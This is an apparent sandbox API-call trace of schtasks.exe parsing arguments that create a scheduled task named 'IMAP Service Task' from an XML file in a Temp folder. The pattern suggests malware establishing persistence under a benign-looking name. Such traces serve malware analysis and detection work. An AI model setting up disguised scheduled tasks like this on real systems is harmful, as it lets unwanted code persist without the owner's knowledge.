[0180.734] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] lstrlenW (lpString="change") returned 6
[0180.734] lstrlenW (lpString="change") returned 6
[0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] lstrlenW (lpString="f") returned 1
[0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8
[0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.734] lstrlenW (lpString="|change|") returned 8
[0180.734] lstrlenW (lpString="|f|") returned 3
[0180.734] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] lstrlenW (lpString="run") returned 3
[0180.734] lstrlenW (lpString="run") returned 3
[0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] lstrlenW (lpString="f") returned 1
[0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5
[0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.734] lstrlenW (lpString="|run|") returned 5
[0180.734] lstrlenW (lpString="|f|") returned 3
[0180.734] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] lstrlenW (lpString="end") returned 3
[0180.734] lstrlenW (lpString="end") returned 3
[0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] lstrlenW (lpString="f") returned 1
[0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5
[0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.734] lstrlenW (lpString="|end|") returned 5
[0180.734] lstrlenW (lpString="|f|") returned 3
[0180.734] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] lstrlenW (lpString="showsid") returned 7
[0180.734] lstrlenW (lpString="showsid") returned 7
[0180.734] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] lstrlenW (lpString="f") returned 1
[0180.734] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.734] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9
[0180.734] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.734] lstrlenW (lpString="|showsid|") returned 9
[0180.734] lstrlenW (lpString="|f|") returned 3
[0180.734] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] SetLastError (dwErrCode=0x490)
[0180.734] SetLastError (dwErrCode=0x0)
[0180.735] lstrlenW (lpString="/f") returned 2
[0180.735] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0
[0180.735] SetLastError (dwErrCode=0x490)
[0180.735] SetLastError (dwErrCode=0x0)
[0180.735] lstrlenW (lpString="/f") returned 2
[0180.735] SetLastError (dwErrCode=0x0)
[0180.735] SetLastError (dwErrCode=0x0)
[0180.735] lstrlenW (lpString="/tn") returned 3
[0180.735] lstrlenW (lpString="-/") returned 2
[0180.735] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.735] lstrlenW (lpString="?") returned 1
[0180.735] lstrlenW (lpString="?") returned 1
[0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] lstrlenW (lpString="tn") returned 2
[0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3
[0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.735] lstrlenW (lpString="|?|") returned 3
[0180.735] lstrlenW (lpString="|tn|") returned 4
[0180.735] SetLastError (dwErrCode=0x490)
[0180.735] lstrlenW (lpString="create") returned 6
[0180.735] lstrlenW (lpString="create") returned 6
[0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] lstrlenW (lpString="tn") returned 2
[0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.735] lstrlenW (lpString="|create|") returned 8
[0180.735] lstrlenW (lpString="|tn|") returned 4
[0180.735] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0
[0180.735] SetLastError (dwErrCode=0x490)
[0180.735] lstrlenW (lpString="delete") returned 6
[0180.735] lstrlenW (lpString="delete") returned 6
[0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] lstrlenW (lpString="tn") returned 2
[0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8
[0180.735] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.735] lstrlenW (lpString="|delete|") returned 8
[0180.735] lstrlenW (lpString="|tn|") returned 4
[0180.735] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0
[0180.735] SetLastError (dwErrCode=0x490)
[0180.735] lstrlenW (lpString="query") returned 5
[0180.735] lstrlenW (lpString="query") returned 5
[0180.735] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] lstrlenW (lpString="tn") returned 2
[0180.735] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.735] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7
[0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.736] lstrlenW (lpString="|query|") returned 7
[0180.736] lstrlenW (lpString="|tn|") returned 4
[0180.736] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] lstrlenW (lpString="change") returned 6
[0180.736] lstrlenW (lpString="change") returned 6
[0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] lstrlenW (lpString="tn") returned 2
[0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8
[0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.736] lstrlenW (lpString="|change|") returned 8
[0180.736] lstrlenW (lpString="|tn|") returned 4
[0180.736] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] lstrlenW (lpString="run") returned 3
[0180.736] lstrlenW (lpString="run") returned 3
[0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] lstrlenW (lpString="tn") returned 2
[0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5
[0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.736] lstrlenW (lpString="|run|") returned 5
[0180.736] lstrlenW (lpString="|tn|") returned 4
[0180.736] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] lstrlenW (lpString="end") returned 3
[0180.736] lstrlenW (lpString="end") returned 3
[0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] lstrlenW (lpString="tn") returned 2
[0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5
[0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.736] lstrlenW (lpString="|end|") returned 5
[0180.736] lstrlenW (lpString="|tn|") returned 4
[0180.736] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] lstrlenW (lpString="showsid") returned 7
[0180.736] lstrlenW (lpString="showsid") returned 7
[0180.736] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] lstrlenW (lpString="tn") returned 2
[0180.736] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.736] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9
[0180.736] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|tn|") returned 4
[0180.736] lstrlenW (lpString="|showsid|") returned 9
[0180.736] lstrlenW (lpString="|tn|") returned 4
[0180.736] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] SetLastError (dwErrCode=0x490)
[0180.736] SetLastError (dwErrCode=0x0)
[0180.736] lstrlenW (lpString="/tn") returned 3
[0180.737] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] lstrlenW (lpString="/tn") returned 3
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.737] lstrlenW (lpString="-/") returned 2
[0180.737] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.737] StrChrIW (lpStart="IMAP Service Task", wMatch=0x3a) returned 0x0
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] lstrlenW (lpString="IMAP Service Task") returned 17
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] SetLastError (dwErrCode=0x0)
[0180.737] lstrlenW (lpString="/xml") returned 4
[0180.737] lstrlenW (lpString="-/") returned 2
[0180.737] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.737] lstrlenW (lpString="?") returned 1
[0180.737] lstrlenW (lpString="?") returned 1
[0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.737] lstrlenW (lpString="xml") returned 3
[0180.737] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.737] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3
[0180.737] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.737] lstrlenW (lpString="|?|") returned 3
[0180.737] lstrlenW (lpString="|xml|") returned 5
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] lstrlenW (lpString="create") returned 6
[0180.737] lstrlenW (lpString="create") returned 6
[0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.737] lstrlenW (lpString="xml") returned 3
[0180.737] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.737] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.737] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.737] lstrlenW (lpString="|create|") returned 8
[0180.737] lstrlenW (lpString="|xml|") returned 5
[0180.737] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0
[0180.737] SetLastError (dwErrCode=0x490)
[0180.737] lstrlenW (lpString="delete") returned 6
[0180.737] lstrlenW (lpString="delete") returned 6
[0180.737] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] lstrlenW (lpString="xml") returned 3
[0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8
[0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.738] lstrlenW (lpString="|delete|") returned 8
[0180.738] lstrlenW (lpString="|xml|") returned 5
[0180.738] StrStrIW (lpFirst="|delete|", lpSrch="|xml|") returned 0x0
[0180.738] SetLastError (dwErrCode=0x490)
[0180.738] lstrlenW (lpString="query") returned 5
[0180.738] lstrlenW (lpString="query") returned 5
[0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] lstrlenW (lpString="xml") returned 3
[0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7
[0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.738] lstrlenW (lpString="|query|") returned 7
[0180.738] lstrlenW (lpString="|xml|") returned 5
[0180.738] StrStrIW (lpFirst="|query|", lpSrch="|xml|") returned 0x0
[0180.738] SetLastError (dwErrCode=0x490)
[0180.738] lstrlenW (lpString="change") returned 6
[0180.738] lstrlenW (lpString="change") returned 6
[0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] lstrlenW (lpString="xml") returned 3
[0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|change|") returned 8
[0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.738] lstrlenW (lpString="|change|") returned 8
[0180.738] lstrlenW (lpString="|xml|") returned 5
[0180.738] StrStrIW (lpFirst="|change|", lpSrch="|xml|") returned 0x0
[0180.738] SetLastError (dwErrCode=0x490)
[0180.738] lstrlenW (lpString="run") returned 3
[0180.738] lstrlenW (lpString="run") returned 3
[0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] lstrlenW (lpString="xml") returned 3
[0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|run|") returned 5
[0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.738] lstrlenW (lpString="|run|") returned 5
[0180.738] lstrlenW (lpString="|xml|") returned 5
[0180.738] StrStrIW (lpFirst="|run|", lpSrch="|xml|") returned 0x0
[0180.738] SetLastError (dwErrCode=0x490)
[0180.738] lstrlenW (lpString="end") returned 3
[0180.738] lstrlenW (lpString="end") returned 3
[0180.738] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] lstrlenW (lpString="xml") returned 3
[0180.738] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.738] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|end|") returned 5
[0180.738] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.738] lstrlenW (lpString="|end|") returned 5
[0180.738] lstrlenW (lpString="|xml|") returned 5
[0180.738] StrStrIW (lpFirst="|end|", lpSrch="|xml|") returned 0x0
[0180.738] SetLastError (dwErrCode=0x490)
[0180.739] lstrlenW (lpString="showsid") returned 7
[0180.739] lstrlenW (lpString="showsid") returned 7
[0180.739] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.739] lstrlenW (lpString="xml") returned 3
[0180.739] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.739] _vsnwprintf (in: _Buffer=0x305230, _BufferCount=0xa, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|showsid|") returned 9
[0180.739] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|xml|") returned 5
[0180.739] lstrlenW (lpString="|showsid|") returned 9
[0180.739] lstrlenW (lpString="|xml|") returned 5
[0180.739] StrStrIW (lpFirst="|showsid|", lpSrch="|xml|") returned 0x0
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="/xml") returned 4
[0180.739] StrChrIW (lpStart="/xml", wMatch=0x3a) returned 0x0
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="/xml") returned 4
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.739] lstrlenW (lpString="-/") returned 2
[0180.739] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.739] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp"
[0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.739] _memicmp (_Buf1=0x304bf0, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.739] _memicmp (_Buf1=0x304c20, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.739] SetLastError (dwErrCode=0x7a)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="C") returned 1
[0180.739] SetLastError (dwErrCode=0x490)
[0180.739] SetLastError (dwErrCode=0x0)
[0180.739] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp") returned 59
[0180.739] SetLastError (dwErrCode=0x0)
[0180.740] SetLastError (dwErrCode=0x0)
[0180.740] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0180.740] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0180.741] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0180.741] VerifyVersionInfoW (in: lpVersionInformation=0x29c950, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x29c950) returned 1
[0180.741] SetLastError (dwErrCode=0x0)
[0180.741] lstrlenW (lpString="create") returned 6
[0180.741] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0
[0180.741] SetLastError (dwErrCode=0x490)
[0180.741] SetLastError (dwErrCode=0x0)
[0180.741] lstrlenW (lpString="create") returned 6
[0180.741] _memicmp (_Buf1=0x304aa0, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.741] SetLastError (dwErrCode=0x0)
[0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.741] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x305958, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20
[0180.741] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744
[0180.741] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x306830 | out: lpData=0x306830) returned 1
[0180.741] VerQueryValueW (in: pBlock=0x306830, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29ca58, puLen=0x29ca5c | out: lplpBuffer=0x29ca58*=0x306bcc, puLen=0x29ca5c) returned 1
[0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.741] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29ca40 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37
[0180.741] VerQueryValueW (in: pBlock=0x306830, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29ca68, puLen=0x29ca64 | out: lplpBuffer=0x29ca68*=0x3069f8, puLen=0x29ca64) returned 1
[0180.741] lstrlenW (lpString="schtasks.exe") returned 12
[0180.741] lstrlenW (lpString="schtasks.exe") returned 12
[0180.741] lstrlenW (lpString=".EXE") returned 4
[0180.741] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe"
[0180.741] lstrlenW (lpString="schtasks.exe") returned 12
[0180.741] lstrlenW (lpString=".EXE") returned 4
[0180.741] lstrlenW (lpString="schtasks") returned 8
[0180.741] lstrlenW (lpString="/create") returned 7
[0180.741] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.741] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x19, _Format="%s %s", _ArgList=0x29ca40 | out: _Buffer="schtasks /create") returned 16
[0180.741] _memicmp (_Buf1=0x304b78, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.741] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.742] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17
[0180.742] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23
[0180.742] _vsnwprintf (in: _Buffer=0x306548, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29ca44 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37
[0180.742] SetLastError (dwErrCode=0x0)
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="create") returned 6
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="?") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="s") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="u") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="p") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="ru") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="rp") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="sc") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="mo") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="d") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="m") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="i") returned 1
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="tn") returned 2
[0180.742] GetThreadLocale () returned 0x409
[0180.742] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.742] lstrlenW (lpString="tr") returned 2
[0180.742] GetThreadLocale () returned 0x409
